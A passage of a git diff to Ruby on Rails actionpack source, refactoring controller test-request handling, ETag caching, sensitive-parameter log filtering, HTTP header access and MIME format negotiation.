options.to_s if Symbol === options - rendered = @_templates - msg = message || sprintf("expecting <%s> but rendering with <%s>", - options.inspect, rendered.keys) - matches_template = - case options - when String - !options.empty? && rendered.any? do |t, num| - options_splited = options.split(File::SEPARATOR) - t_splited = t.split(File::SEPARATOR) - t_splited.last(options_splited.size) == options_splited - end - when Regexp - rendered.any? { |t,num| t.match(options) } - when NilClass - rendered.blank? - end - assert matches_template, msg - when Hash - options.assert_valid_keys(:layout, :partial, :locals, :count, :file) - - if options.key?(:layout) - expected_layout = options[:layout] - msg = message || sprintf("expecting layout <%s> but action rendered <%s>", - expected_layout, @_layouts.keys) + def initialize(env, session) + super(env) - case expected_layout - when String, Symbol - assert_includes @_layouts.keys, expected_layout.to_s, msg - when Regexp - assert(@_layouts.keys.any? {|l| l =~ expected_layout }, msg) - when nil, false - assert(@_layouts.empty?, msg) - else - raise ArgumentError, "assert_template only accepts a String, Symbol, Regexp, nil or false for :layout" - end - end - - if options[:file] - assert_includes @_files.keys, options[:file] - elsif options.key?(:file) - assert @_files.blank?, "expected no files but #{@_files.keys} was rendered" - end - - if expected_partial = options[:partial] - if expected_locals = options[:locals] - if defined?(@_rendered_views) - view = expected_partial.to_s.sub(/^_/, '').sub(/\/_(?=[^\/]+\z)/, '/') - - partial_was_not_rendered_msg = "expected %s to be rendered but it was not." % view - assert_includes @_rendered_views.rendered_views, view, partial_was_not_rendered_msg - - msg = 'expecting %s to be rendered with %s but was with %s' % [expected_partial, - expected_locals, - @_rendered_views.locals_for(view)] - assert(@_rendered_views.view_rendered?(view, options[:locals]), msg) - else - warn "the :locals option to #assert_template is only supported in a ActionView::TestCase" - end - elsif expected_count = options[:count] - actual_count = @_partials[expected_partial] - msg = message || sprintf("expecting %s to be rendered %s time(s) but rendered %s time(s)", - expected_partial, expected_count, actual_count) - assert(actual_count == expected_count.to_i, msg) - else - msg = message || sprintf("expecting partial <%s> but action rendered <%s>", - options[:partial], @_partials.keys) - assert_includes @_partials, expected_partial, msg - end - elsif options.key?(:partial) - assert @_partials.empty?, - "Expected no partials to be rendered" - end - else - raise ArgumentError, "assert_template only accepts a String, Symbol, Hash, Regexp, or nil" - end + self.session = session + self.session_options = TestSession::DEFAULT_OPTIONS + @custom_param_parsers = { + xml: lambda { |raw_post| Hash.from_xml(raw_post)['hash'] } + } end - end - - class TestRequest < ActionDispatch::TestRequest #:nodoc: - DEFAULT_ENV = ActionDispatch::TestRequest::DEFAULT_ENV.dup - DEFAULT_ENV.delete 'PATH_INFO' - def initialize(env = {}) - super + def query_string=(string) + set_header Rack::QUERY_STRING, string + end - self.session = TestSession.new - self.session_options = TestSession::DEFAULT_OPTIONS + def content_type=(type) + set_header 'CONTENT_TYPE', type end - def assign_parameters(routes, controller_path, action, parameters = {}) - parameters = parameters.symbolize_keys.merge(:controller => controller_path, :action => action) - extra_keys = routes.extra_keys(parameters) - non_path_parameters = get? ? query_parameters : request_parameters - parameters.each do |key, value| - if value.is_a?(Array) && (value.frozen? || value.any?(&:frozen?)) - value = value.map{ |v| v.duplicable? ? v.dup : v } - elsif value.is_a?(Hash) && (value.frozen? || value.any?{ |k,v| v.frozen? }) - value = Hash[value.map{ |k,v| [k, v.duplicable? ? v.dup : v] }] - elsif value.frozen? && value.duplicable? - value = value.dup - end + def assign_parameters(routes, controller_path, action, parameters, generated_path, query_string_keys) + non_path_parameters = {} + path_parameters = {} - if extra_keys.include?(key) + parameters.each do |key, value| + if query_string_keys.include?(key) non_path_parameters[key] = value else if value.is_a?(Array) @@ -230,72 +82,88 @@ module ActionController end end - # Clear the combined params hash in case it was already referenced. - @env.delete("action_dispatch.request.parameters") + if get? + if self.query_string.blank? + self.query_string = non_path_parameters.to_query + end + else + if ENCODER.should_multipart?(non_path_parameters) + self.content_type = ENCODER.content_type + data = ENCODER.build_multipart non_path_parameters + else + fetch_header('CONTENT_TYPE') do |k| + set_header k, 'application/x-www-form-urlencoded' + end + + case content_mime_type.to_sym + when nil + raise "Unknown Content-Type: #{content_type}" + when :json + data = ActiveSupport::JSON.encode(non_path_parameters) + when :xml + data = non_path_parameters.to_xml + when :url_encoded_form + data = non_path_parameters.to_query + else + @custom_param_parsers[content_mime_type.symbol] = ->(_) { non_path_parameters } + data = non_path_parameters.to_query + end + end - # Clear the filter cache variables so they're not stale - @filtered_parameters = @filtered_env = @filtered_path = nil + set_header 'CONTENT_LENGTH', data.length.to_s + set_header 'rack.input', StringIO.new(data) + end - params = self.request_parameters.dup - %w(controller action only_path).each do |k| - params.delete(k) - params.delete(k.to_sym) + fetch_header("PATH_INFO") do |k| + set_header k, generated_path end - data = params.to_query + path_parameters[:controller] = controller_path + path_parameters[:action] = action - @env['CONTENT_LENGTH'] = data.length.to_s - @env['rack.input'] = StringIO.new(data) + self.path_parameters = path_parameters end - def recycle! - @formats = nil - @env.delete_if { |k, v| k =~ /^(action_dispatch|rack)\.request/ } - @env.delete_if { |k, v| k =~ /^action_dispatch\.rescue/ } - @method = @request_method = nil - @fullpath = @ip = @remote_ip = @protocol = nil - @env['action_dispatch.request.query_parameters'] = {} - @set_cookies ||= {} - @set_cookies.update(Hash[cookie_jar.instance_variable_get("@set_cookies").map{ |k,o| [k,o[:value]] }]) - deleted_cookies = cookie_jar.instance_variable_get("@delete_cookies") - @set_cookies.reject!{ |k,v| deleted_cookies.include?(k) } - cookie_jar.update(rack_cookies) - cookie_jar.update(cookies) - cookie_jar.update(@set_cookies) - cookie_jar.recycle! - end + ENCODER = Class.new do + include Rack::Test::Utils + + def should_multipart?(params) + # FIXME: lifted from Rack-Test. We should push this separation upstream + multipart = false + query = lambda { |value| + case value + when Array + value.each(&query) + when Hash + value.values.each(&query) + when Rack::Test::UploadedFile + multipart = true + end + } + params.values.each(&query) + multipart + end - private + public :build_multipart - def default_env - DEFAULT_ENV - end - end + def content_type + "multipart/form-data; boundary=#{Rack::Test::MULTIPART_BOUNDARY}" + end + end.new - class TestResponse < ActionDispatch::TestResponse - def recycle! - initialize + private + + def params_parsers + super.merge @custom_param_parsers end end class LiveTestResponse < Live::Response - def recycle! - @body = nil - initialize - end - - def body - @body ||= super - end - # Was the response successful? alias_method :success?, :successful? # Was the URL not found? alias_method :missing?, :not_found? - # Were we redirected? - alias_method :redirect?, :redirection? - # Was there a server-side error? alias_method :error?, :server_error? end @@ -303,7 +171,7 @@ module ActionController # Methods #destroy and #load! are overridden to avoid calling methods on the # @store object, which does not exist for the TestSession class. class TestSession < Rack::Session::Abstract::SessionHash #:nodoc: - DEFAULT_OPTIONS = Rack::Session::Abstract::ID::DEFAULT_OPTIONS + DEFAULT_OPTIONS = Rack::Session::Abstract::Persisted::DEFAULT_OPTIONS def initialize(session = {}) super(nil, nil) @@ -328,6 +196,10 @@ module ActionController clear end + def fetch(key, *args, &block) + @data.fetch(key.to_s, *args, &block) + end + private def load! @@ -354,13 +226,13 @@ module ActionController # class BooksControllerTest < ActionController::TestCase # def test_create # # Simulate a POST response with the given HTTP parameters. - # post(:create, book: { title: "Love Hina" }) + # post(:create, params: { book: { title: "Love Hina" }}) # - # # Assert that the controller tried to redirect us to + # # Asserts that the controller tried to redirect us to # # the created book's URI. # assert_response :found # - # # Assert that the controller really put the book in the database. + # # Asserts that the controller really put the book in the database. # assert_not_nil Book.find_by(title: "Love Hina") # end # end @@ -384,7 +256,7 @@ module ActionController # request. You can modify this object before sending the HTTP request. For example, # you might want to set some session properties before sending a GET request. # <b>@response</b>:: - # An ActionController::TestResponse object, representing the response + # An ActionDispatch::TestResponse object, representing the response # of the last HTTP response. In the above example, <tt>@response</tt> becomes valid # after calling +post+. If the various assert methods are not sufficient, then you # may use this object to inspect the HTTP response in detail. @@ -407,21 +279,15 @@ module ActionController # In addition to these specific assertions, you also have easy access to various collections that the regular test/unit assertions # can be used against. These collections are: # - # * assigns: Instance variables assigned in the action that are available for the view. # * session: Objects being saved in the session. # * flash: The flash objects currently in the session. # * cookies: \Cookies being sent to the user on this request. # # These collections can be used just like any other hash: # - # assert_not_nil assigns(:person) # makes sure that a @person instance variable was set # assert_equal "Dave", cookies[:name] # makes sure that a cookie called :name was set as "Dave" # assert flash.empty? # makes sure that there's nothing in the flash # - # For historic reasons, the assigns hash uses string-based keys. So <tt>assigns[:person]</tt> won't work, but <tt>assigns["person"]</tt> will. To - # appease our yearning for symbols, though, an alternative accessor has been devised using a method call instead of index referencing. - # So <tt>assigns(:person)</tt> will work just like <tt>assigns["person"]</tt>, but again, <tt>assigns[:person]</tt> will not work. - # # On top of the collections, you have the complete url that a given action redirected to available in <tt>redirect_to_url</tt>. # # For redirects within the same controller, you can even call follow_redirect and the redirect will be followed, triggering another @@ -512,7 +378,9 @@ module ActionController # Note that the request method is not verified. The different methods are # available to make the tests more expressive. def get(action, *args) - process_with_kwargs("GET", action, *args) + res = process_with_kwargs("GET", action, *args) + cookies.update res.cookies + res end # Simulate a POST request with the given parameters and set/volley the response. @@ -552,7 +420,7 @@ module ActionController MSG @request.env['HTTP_X_REQUESTED_WITH'] = 'XMLHttpRequest' - @request.env['HTTP_ACCEPT'] ||= [Mime::JS, Mime::HTML, Mime::XML, 'text/xml', Mime::ALL].join(', ') + @request.env['HTTP_ACCEPT'] ||= [Mime[:js], Mime[:html], Mime[:xml], 'text/xml', '*/*'].join(', ') __send__(*args).tap do @request.env.delete 'HTTP_X_REQUESTED_WITH' @request.env.delete 'HTTP_ACCEPT' @@ -560,20 +428,7 @@ module ActionController end alias xhr :xml_http_request - def paramify_values(hash_or_array_or_value) - case hash_or_array_or_value - when Hash - Hash[hash_or_array_or_value.map{|key, value| [key, paramify_values(value)] }] - when Array - hash_or_array_or_value.map {|i| paramify_values(i)} - when Rack::Test::UploadedFile, ActionDispatch::Http::UploadedFile - hash_or_array_or_value - else - hash_or_array_or_value.to_param - end - end - - # Simulate a HTTP request to +action+ by specifying request method, + # Simulate an HTTP request to +action+ by specifying request method, # parameters and set/volley the response. # # - +action+: The controller action to call. @@ -604,7 +459,7 @@ module ActionController def process(action, *args) check_required_ivars - if kwarg_request?(*args) + if kwarg_request?(args) parameters, session, body, flash, http_method, format, xhr = args[0].values_at(:params, :session, :body, :flash, :method, :format, :xhr) else http_method, parameters, session, flash = args @@ -615,16 +470,16 @@ module ActionController parameters = nil end - if parameters.present? || session.present? || flash.present? + if parameters || session || flash non_kwarg_request_warning end end - if body.present? - @request.env['RAW_POST_DATA'] = body + if body + @request.set_header 'RAW_POST_DATA', body end - if http_method.present? + if http_method http_method = http_method.to_s.upcase else http_method = "GET" @@ -632,59 +487,61 @@ module ActionController parameters ||= {} - # Ensure that numbers and symbols passed as params are converted to - # proper params, as is the case when engaging rack. - parameters = paramify_values(parameters) if html_format?(parameters) - - if format.present? + if format parameters[:format] = format end @html_document = nil - unless @controller.respond_to?(:recycle!) - @controller.extend(Testing::Functional) - end + self.cookies.update @request.cookies + self.cookies.update_cookies_from_jar + @request.set_header 'HTTP_COOKIE', cookies.to_header + @request.delete_header 'action_dispatch.cookies' - @request.recycle! - @response.recycle! + @request = TestRequest.new scrub_env!(@request.env), @request.session + @response = build_response @response_klass + @response.request = @request @controller.recycle! - @request.env['REQUEST_METHOD'] = http_method + @request.set_header 'REQUEST_METHOD', http_method + + parameters = parameters.symbolize_keys - controller_class_name = @controller.class.anonymous? ? - "anonymous" : - @controller.class.controller_path + generated_extras = @routes.generate_extras(parameters.merge(controller: controller_class_name, action: action.to_s)) + generated_path = generated_path(generated_extras) + query_string_keys = query_parameter_names(generated_extras) - @request.assign_parameters(@routes, controller_class_name, action.to_s, parameters) + @request.assign_parameters(@routes, controller_class_name, action.to_s, parameters, generated_path, query_string_keys) @request.session.update(session) if session @request.flash.update(flash || {}) if xhr - @request.env['HTTP_X_REQUESTED_WITH'] = 'XMLHttpRequest' - @request.env['HTTP_ACCEPT'] ||= [Mime::JS, Mime::HTML, Mime::XML, 'text/xml', Mime::ALL].join(', ') + @request.set_header 'HTTP_X_REQUESTED_WITH', 'XMLHttpRequest' + @request.fetch_header('HTTP_ACCEPT') do |k| + @request.set_header k, [Mime[:js], Mime[:html], Mime[:xml], 'text/xml', '*/*'].join(', ') + end end - @controller.request = @request - @controller.response = @response - - build_request_uri(action, parameters) - - name = @request.parameters[:action] + @request.fetch_header("SCRIPT_NAME") do |k| + @request.set_header k, @controller.config.relative_url_root + end @controller.recycle! - @controller.process(name) + @controller.dispatch(action, @request, @response) + @request = @controller.request + @response = @controller.response + + @request.delete_header 'HTTP_COOKIE' - if cookies = @request.env['action_dispatch.cookies'] - unless @response.committed? - cookies.write(@response) + if @request.have_cookie_jar? + unless @request.cookie_jar.committed? + @request.cookie_jar.write(@response) + self.cookies.update(@request.cookie_jar.instance_variable_get(:@cookies)) end end @response.prepare! - @assigns = @controller.respond_to?(:view_assigns) ? @controller.view_assigns : {} - if flash_value = @request.flash.to_session_value @request.session['flash'] = flash_value else @@ -692,21 +549,36 @@ module ActionController end if xhr - @request.env.delete 'HTTP_X_REQUESTED_WITH' - @request.env.delete 'HTTP_ACCEPT' + @request.delete_header 'HTTP_X_REQUESTED_WITH' + @request.delete_header 'HTTP_ACCEPT' end + @request.query_string = '' + + @response.sent! @response end + def controller_class_name + @controller.class.anonymous? ? "anonymous" : @controller.class.controller_path + end + + def generated_path(generated_extras) + generated_extras[0] + end + + def query_parameter_names(generated_extras) + generated_extras[1] + [:controller, :action] + end + def setup_controller_request_and_response @controller = nil unless defined? @controller - response_klass = TestResponse + @response_klass = ActionDispatch::TestResponse if klass = self.class.controller_class if klass < ActionController::Live - response_klass = LiveTestResponse + @response_klass = LiveTestResponse end unless @controller begin @@ -717,8 +589,8 @@ module ActionController end end - @request = build_request - @response = build_response response_klass + @request = TestRequest.create + @response = build_response @response_klass @response.request = @request if @controller @@ -727,12 +599,8 @@ module ActionController end end - def build_request - TestRequest.new - end - def build_response(klass) - klass.new + klass.create end included do @@ -744,12 +612,20 @@ module ActionController private + def scrub_env!(env) + env.delete_if { |k, v| k =~ /^(action_dispatch|rack)\.request/ } + env.delete_if { |k, v| k =~ /^action_dispatch\.rescue/ } + env.delete 'action_dispatch.request.query_parameters' + env.delete 'action_dispatch.request.request_parameters' + env + end + def process_with_kwargs(http_method, action, *args) - if kwarg_request?(*args) + if kwarg_request?(args) args.first.merge!(method: http_method) process(action, *args) else - non_kwarg_request_warning if args.present? + non_kwarg_request_warning if args.any? args = args.unshift(http_method) process(action, *args) @@ -757,7 +633,7 @@ module ActionController end REQUEST_KWARGS = %i(params session flash method body xhr) - def kwarg_request?(*args) + def kwarg_request?(args) args[0].respond_to?(:keys) && ( (args[0].key?(:format) && args[0].keys.size == 1) || args[0].keys.any? { |k| REQUEST_KWARGS.include?(k) } @@ -790,22 +666,6 @@ module ActionController end end - def build_request_uri(action, parameters) - unless @request.env["PATH_INFO"] - options = @controller.respond_to?(:url_options) ? @controller.__send__(:url_options).merge(parameters) : parameters - options.update( - :action => action, - :relative_url_root => nil, - :_recall => @request.path_parameters) - - url, query_string = @routes.path_for(options).split("?", 2) - - @request.env["SCRIPT_NAME"] = @controller.config.relative_url_root - @request.env["PATH_INFO"] = url - @request.env["QUERY_STRING"] = query_string || "" - end - end - def html_format?(parameters) return true unless parameters.key?(:format) Mime.fetch(parameters[:format]) { Mime['html'] }.html? @@ -814,4 +674,5 @@ module ActionController include Behavior end + # :startdoc: end diff --git a/actionpack/lib/action_dispatch.rb b/actionpack/lib/action_dispatch.rb index dcd3ee0644..01d49475de 100644 --- a/actionpack/lib/action_dispatch.rb +++ b/actionpack/lib/action_dispatch.rb @@ -1,5 +1,5 @@ #-- -# Copyright (c) 2004-2015 David Heinemeier Hansson +# Copyright (c) 2004-2016 David Heinemeier Hansson # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the @@ -51,6 +51,7 @@ module ActionDispatch autoload :Cookies autoload :DebugExceptions autoload :ExceptionWrapper + autoload :Executor autoload :Flash autoload :ParamsParser autoload :PublicExceptions @@ -94,6 +95,7 @@ module ActionDispatch autoload :TestProcess autoload :TestRequest autoload :TestResponse + autoload :AssertionResponse end end diff --git a/actionpack/lib/action_dispatch/http/cache.rb b/actionpack/lib/action_dispatch/http/cache.rb index 747d295261..9fa2e38ae3 100644 --- a/actionpack/lib/action_dispatch/http/cache.rb +++ b/actionpack/lib/action_dispatch/http/cache.rb @@ -1,4 +1,3 @@ - module ActionDispatch module Http module Cache @@ -8,19 +7,17 @@ module ActionDispatch HTTP_IF_NONE_MATCH = 'HTTP_IF_NONE_MATCH'.freeze def if_modified_since - if since = env[HTTP_IF_MODIFIED_SINCE] + if since = get_header(HTTP_IF_MODIFIED_SINCE) Time.rfc2822(since) rescue nil end end def if_none_match - env[HTTP_IF_NONE_MATCH] + get_header HTTP_IF_NONE_MATCH end def if_none_match_etags - (if_none_match ? if_none_match.split(/\s*,\s*/) : []).collect do |etag| - etag.gsub(/^\"|\"$/, "") - end + if_none_match ? if_none_match.split(/\s*,\s*/) : [] end def not_modified?(modified_at) @@ -29,8 +26,8 @@ module ActionDispatch def etag_matches?(etag) if etag - etag = etag.gsub(/^\"|\"$/, "") - if_none_match_etags.include?(etag) + validators = if_none_match_etags + validators.include?(etag) || validators.include?('*') end end @@ -51,52 +48,95 @@ module ActionDispatch end module Response - attr_reader :cache_control, :etag - alias :etag? :etag + attr_reader :cache_control def last_modified - if last = headers[LAST_MODIFIED] + if last = get_header(LAST_MODIFIED) Time.httpdate(last) end end def last_modified? - headers.include?(LAST_MODIFIED) + has_header? LAST_MODIFIED end def last_modified=(utc_time) - headers[LAST_MODIFIED] = utc_time.httpdate + set_header LAST_MODIFIED, utc_time.httpdate end def date - if date_header = headers[DATE] + if date_header = get_header(DATE) Time.httpdate(date_header) end end def date? - headers.include?(DATE) + has_header? DATE end def date=(utc_time) - headers[DATE] = utc_time.httpdate + set_header DATE, utc_time.httpdate + end + + # This method sets a weak ETag validator on the response so browsers + # and proxies may cache the response, keyed on the ETag. On subsequent + # requests, the If-None-Match header is set to the cached ETag. If it + # matches the current ETag, we can return a 304 Not Modified response + # with no body, letting the browser or proxy know that their cache is + # current. Big savings in request time and network bandwidth. + # + # Weak ETags are considered to be semantically equivalent but not + # byte-for-byte identical. This is perfect for browser caching of HTML + # pages where we don't care about exact equality, just what the user + # is viewing. + # + # Strong ETags are considered byte-for-byte identical. They allow a + # browser or proxy cache to support Range requests, useful for paging + # through a PDF file or scrubbing through a video. Some CDNs only + # support strong ETags and will ignore weak ETags entirely. + # + # Weak ETags are what we almost always need, so they're the default. + # Check out `#strong_etag=` to provide a strong ETag validator. + def etag=(weak_validators) + self.weak_etag = weak_validators end - def etag=(etag) - key = ActiveSupport::Cache.expand_cache_key(etag) - @etag = self[ETAG] = %("#{Digest::MD5.hexdigest(key)}") + def weak_etag=(weak_validators) + set_header 'ETag', generate_weak_etag(weak_validators) + end + + def strong_etag=(strong_validators) + set_header 'ETag', generate_strong_etag(strong_validators) + end + + def etag?; etag; end + + # True if an ETag is set and it's a weak validator (preceded with W/) + def weak_etag? + etag? && etag.starts_with?('W/"') + end + + # True if an ETag is set and it isn't a weak validator (not preceded with W/) + def strong_etag? + etag? && !weak_etag? end private DATE = 'Date'.freeze LAST_MODIFIED = "Last-Modified".freeze - ETAG = "ETag".freeze - CACHE_CONTROL = "Cache-Control".freeze - SPECIAL_KEYS = Set.new(%w[extras no-cache max-age public must-revalidate]) + SPECIAL_KEYS = Set.new(%w[extras no-cache max-age public private must-revalidate]) + + def generate_weak_etag(validators) + "W/#{generate_strong_etag(validators)}" + end + + def generate_strong_etag(validators) + %("#{Digest::MD5.hexdigest(ActiveSupport::Cache.expand_cache_key(validators))}") + end def cache_control_segments - if cache_control = self[CACHE_CONTROL] + if cache_control = _cache_control cache_control.delete(' ').split(',') else [] @@ -123,12 +163,11 @@ module ActionDispatch def prepare_cache_control! @cache_control = cache_control_headers - @etag = self[ETAG] end def handle_conditional_get! if etag? || last_modified? || !@cache_control.empty? - set_conditional_cache_control! + set_conditional_cache_control!(@cache_control) end end @@ -138,24 +177,24 @@ module ActionDispatch PRIVATE = "private".freeze MUST_REVALIDATE = "must-revalidate".freeze - def set_conditional_cache_control! + def set_conditional_cache_control!(cache_control) control = {} cc_headers = cache_control_headers if extras = cc_headers.delete(:extras) - @cache_control[:extras] ||= [] - @cache_control[:extras] += extras - @cache_control[:extras].uniq! + cache_control[:extras] ||= [] + cache_control[:extras] += extras + cache_control[:extras].uniq! end control.merge! cc_headers - control.merge! @cache_control + control.merge! cache_control if control.empty? - headers[CACHE_CONTROL] = DEFAULT_CACHE_CONTROL + self._cache_control = DEFAULT_CACHE_CONTROL elsif control[:no_cache] - headers[CACHE_CONTROL] = NO_CACHE + self._cache_control = NO_CACHE if control[:extras] - headers[CACHE_CONTROL] += ", #{control[:extras].join(', ')}" + self._cache_control = _cache_control + ", #{control[:extras].join(', ')}" end else extras = control[:extras] @@ -167,7 +206,7 @@ module ActionDispatch options << MUST_REVALIDATE if control[:must_revalidate] options.concat(extras) if extras - headers[CACHE_CONTROL] = options.join(", ") + self._cache_control = options.join(", ") end end end diff --git a/actionpack/lib/action_dispatch/http/filter_parameters.rb b/actionpack/lib/action_dispatch/http/filter_parameters.rb index 2b851cc28d..041eca48ca 100644 --- a/actionpack/lib/action_dispatch/http/filter_parameters.rb +++ b/actionpack/lib/action_dispatch/http/filter_parameters.rb @@ -1,14 +1,14 @@ -require 'active_support/core_ext/hash/keys' -require 'active_support/core_ext/object/duplicable' require 'action_dispatch/http/parameter_filter' module ActionDispatch module Http # Allows you to specify sensitive parameters which will be replaced from # the request log by looking in the query string of the request and all - # sub-hashes of the params hash to filter. If a block is given, each key and - # value of the params hash and all sub-hashes is passed to it, the value - # or key can be replaced using String#replace or similar method. + # sub-hashes of the params hash to filter. Filtering only certain sub-keys + # from a hash is possible by using the dot notation: 'credit_card.number'. + # If a block is given, each key and value of the params hash and all + # sub-hashes is passed to it, the value or key can be replaced using + # String#replace or similar method. # # env["action_dispatch.parameter_filter"] = [:password] # => replaces the value to all keys matching /password/i with "[FILTERED]" @@ -16,7 +16,11 @@ module ActionDispatch # env["action_dispatch.parameter_filter"] = [:foo, "bar"] # => replaces the value to all keys matching /foo|bar/i with "[FILTERED]" # - # env["action_dispatch.parameter_filter"] = lambda do |k,v| + # env["action_dispatch.parameter_filter"] = [ "credit_card.code" ] + # => replaces { credit_card: {code: "xxxx"} } with "[FILTERED]", does not + # change { file: { code: "xxxx"} } + # + # env["action_dispatch.parameter_filter"] = -> (k, v) do # v.reverse! if k =~ /secret/i # end # => reverses the value to all keys matching /secret/i @@ -25,19 +29,19 @@ module ActionDispatch NULL_PARAM_FILTER = ParameterFilter.new # :nodoc: NULL_ENV_FILTER = ParameterFilter.new ENV_MATCH # :nodoc: - def initialize(env) + def initialize super @filtered_parameters = nil @filtered_env = nil @filtered_path = nil end - # Return a hash of parameters with all sensitive data replaced. + # Returns a hash of parameters with all sensitive data replaced. def filtered_parameters @filtered_parameters ||= parameter_filter.filter(parameters) end - # Return a hash of request.env with all sensitive data replaced. + # Returns a hash of request.env with all sensitive data replaced. def filtered_env @filtered_env ||= env_filter.filter(@env) end @@ -50,13 +54,13 @@ module ActionDispatch protected def parameter_filter - parameter_filter_for @env.fetch("action_dispatch.parameter_filter") { + parameter_filter_for fetch_header("action_dispatch.parameter_filter") { return NULL_PARAM_FILTER } end def env_filter - user_key = @env.fetch("action_dispatch.parameter_filter") { + user_key = fetch_header("action_dispatch.parameter_filter") { return NULL_ENV_FILTER } parameter_filter_for(Array(user_key) + ENV_MATCH) diff --git a/actionpack/lib/action_dispatch/http/filter_redirect.rb b/actionpack/lib/action_dispatch/http/filter_redirect.rb index bf79963351..f4b806b8b5 100644 --- a/actionpack/lib/action_dispatch/http/filter_redirect.rb +++ b/actionpack/lib/action_dispatch/http/filter_redirect.rb @@ -5,8 +5,7 @@ module ActionDispatch FILTERED = '[FILTERED]'.freeze # :nodoc: def filtered_location # :nodoc: - filters = location_filter - if !filters.empty? && location_filter_match?(filters) + if location_filter_match? FILTERED else location @@ -15,20 +14,20 @@ module ActionDispatch private - def location_filter + def location_filters if request - request.env['action_dispatch.redirect_filter'] || [] + request.get_header('action_dispatch.redirect_filter') || [] else [] end end - def location_filter_match?(filters) - filters.any? do |filter| + def location_filter_match? + location_filters.any? do |filter| if String === filter location.include?(filter) elsif Regexp === filter - location.match(filter) + location =~ filter end end end diff --git a/actionpack/lib/action_dispatch/http/headers.rb b/actionpack/lib/action_dispatch/http/headers.rb index bc5410dc38..69a934b7cd 100644 --- a/actionpack/lib/action_dispatch/http/headers.rb +++ b/actionpack/lib/action_dispatch/http/headers.rb @@ -2,9 +2,23 @@ module ActionDispatch module Http # Provides access to the request's HTTP headers from the environment. # - # env = { "CONTENT_TYPE" => "text/plain" } + # env = { "CONTENT_TYPE" => "text/plain", "HTTP_USER_AGENT" => "curl/7.43.0" } # headers = ActionDispatch::Http::Headers.new(env) # headers["Content-Type"] # => "text/plain" + # headers["User-Agent"] # => "curl/7.43.0" + # + # Also note that when headers are mapped to CGI-like variables by the Rack + # server, both dashes and underscores are converted to underscores. This + # ambiguity cannot be resolved at this stage anymore. Both underscores and + # dashes have to be interpreted as if they were originally sent as dashes. + # + # # GET / HTTP/1.1 + # # ... + # # User-Agent: curl/7.43.0 + # # X_Custom_Header: token + # + # headers["X_Custom_Header"] # => nil + # headers["X-Custom-Header"] # => "token" class Headers CGI_VARIABLES = Set.new(%W[ AUTH_TYPE @@ -30,27 +44,37 @@ module ActionDispatch HTTP_HEADER = /\A[A-Za-z0-9-]+\z/ include Enumerable - attr_reader :env - def initialize(env = {}) # :nodoc: - @env = env + def self.from_hash(hash) + new ActionDispatch::Request.new hash + end + + def initialize(request) # :nodoc: + @req = request end # Returns the value for the given key mapped to @env. def [](key) - @env[env_name(key)] + @req.get_header env_name(key) end # Sets the given value for the key mapped to @env. def []=(key, value) - @env[env_name(key)] = value + @req.set_header env_name(key), value + end + + # Add a value to a multivalued header like Vary or Accept-Encoding. + def add(key, value) + @req.add_header env_name(key), value end def key?(key) - @env.key? env_name(key) + @req.has_header? env_name(key) end alias :include? :key? + DEFAULT = Object.new # :nodoc: + # Returns the value for the given key mapped to @env. # # If the key is not found and an optional code block is not provided, @@ -58,18 +82,22 @@ module ActionDispatch # # If the code block is provided, then it will be run and # its result returned. - def fetch(key, *args, &block) - @env.fetch env_name(key), *args, &block + def fetch(key, default = DEFAULT) + @req.fetch_header(env_name(key)) do + return default unless default == DEFAULT + return yield if block_given? + raise NameError, key + end end def each(&block) - @env.each(&block) + @req.each_header(&block) end # Returns a new Http::Headers instance containing the contents of # <tt>headers_or_env</tt> and the original instance. def merge(headers_or_env) - headers = Http::Headers.new(env.dup) + headers = @req.dup.headers headers.merge!(headers_or_env) headers end @@ -79,12 +107,15 @@ module ActionDispatch # <tt>headers_or_env</tt>. def merge!(headers_or_env) headers_or_env.each do |key, value| - self[env_name(key)] = value + @req.set_header env_name(key), value end end + def env; @req.env.dup; end + private - # Converts a HTTP header name to an environment variable name if it is + + # Converts an HTTP header name to an environment variable name if it is # not contained within the headers hash. def env_name(key) key = key.to_s diff --git a/actionpack/lib/action_dispatch/http/mime_negotiation.rb b/actionpack/lib/action_dispatch/http/mime_negotiation.rb index 53a98c5d0a..0a58ce2b96 100644 --- a/actionpack/lib/action_dispatch/http/mime_negotiation.rb +++ b/actionpack/lib/action_dispatch/http/mime_negotiation.rb @@ -10,19 +10,18 @@ module ActionDispatch self.ignore_accept_header = false end - attr_reader :variant - - # The MIME type of the HTTP request, such as Mime::XML. + # The MIME type of the HTTP request, such as Mime[:xml]. # # For backward compatibility, the post \format is extracted from the # X-Post-Data-Format HTTP header if present. def content_mime_type - @env["action_dispatch.request.content_type"] ||= begin - if @env['CONTENT_TYPE'] =~ /^([^,\;]*)/ + fetch_header("action_dispatch.request.content_type") do |k| + v = if get_header('CONTENT_TYPE') =~ /^([^,\;]*)/ Mime::Type.lookup($1.strip.downcase) else nil end + set_header k, v end end @@ -30,63 +29,75 @@ module ActionDispatch content_mime_type && content_mime_type.to_s end + def has_content_type? + has_header? 'CONTENT_TYPE' + end + # Returns the accepted MIME type for the request. def accepts - @env["action_dispatch.request.accepts"] ||= begin - header = @env['HTTP_ACCEPT'].to_s.strip + fetch_header("action_dispatch.request.accepts") do |k| + header = get_header('HTTP_ACCEPT').to_s.strip - if header.empty? + v = if header.empty? [content_mime_type] else Mime::Type.parse(header) end + set_header k, v end end # Returns the MIME type for the \format used in the request. # - # GET /posts/5.xml | request.format => Mime::XML - # GET /posts/5.xhtml | request.format => Mime::HTML - # GET /posts/5 | request.format => Mime::HTML or MIME::JS, or request.accepts.first + # GET /posts/5.xml | request.format => Mime[:xml] + # GET /posts/5.xhtml | request.format => Mime[:html] + # GET /posts/5 | request.format => Mime[:html] or Mime[:js], or request.accepts.first # def format(view_path = []) formats.first || Mime::NullType.instance end def formats - @env["action_dispatch.request.formats"] ||= begin + fetch_header("action_dispatch.request.formats") do |k| params_readable = begin parameters[:format] rescue ActionController::BadRequest false end - if params_readable + v = if params_readable Array(Mime[parameters[:format]]) elsif use_accept_header && valid_accept_header accepts + elsif extension_format = format_from_path_extension + [extension_format] elsif xhr? - [Mime::JS] + [Mime[:js]] else - [Mime::HTML] + [Mime[:html]] end + set_header k, v end end # Sets the \variant for template. def variant=(variant) - if variant.is_a?(Symbol) - @variant = [variant] - elsif variant.nil? || variant.is_a?(Array) && variant.any? && variant.all?{ |v| v.is_a?(Symbol) } - @variant = variant + variant = Array(variant) + + if variant.all? { |v| v.is_a?(Symbol) } + @variant = ActiveSupport::ArrayInquirer.new(variant) else - raise ArgumentError, "request.variant must be set to a Symbol or an 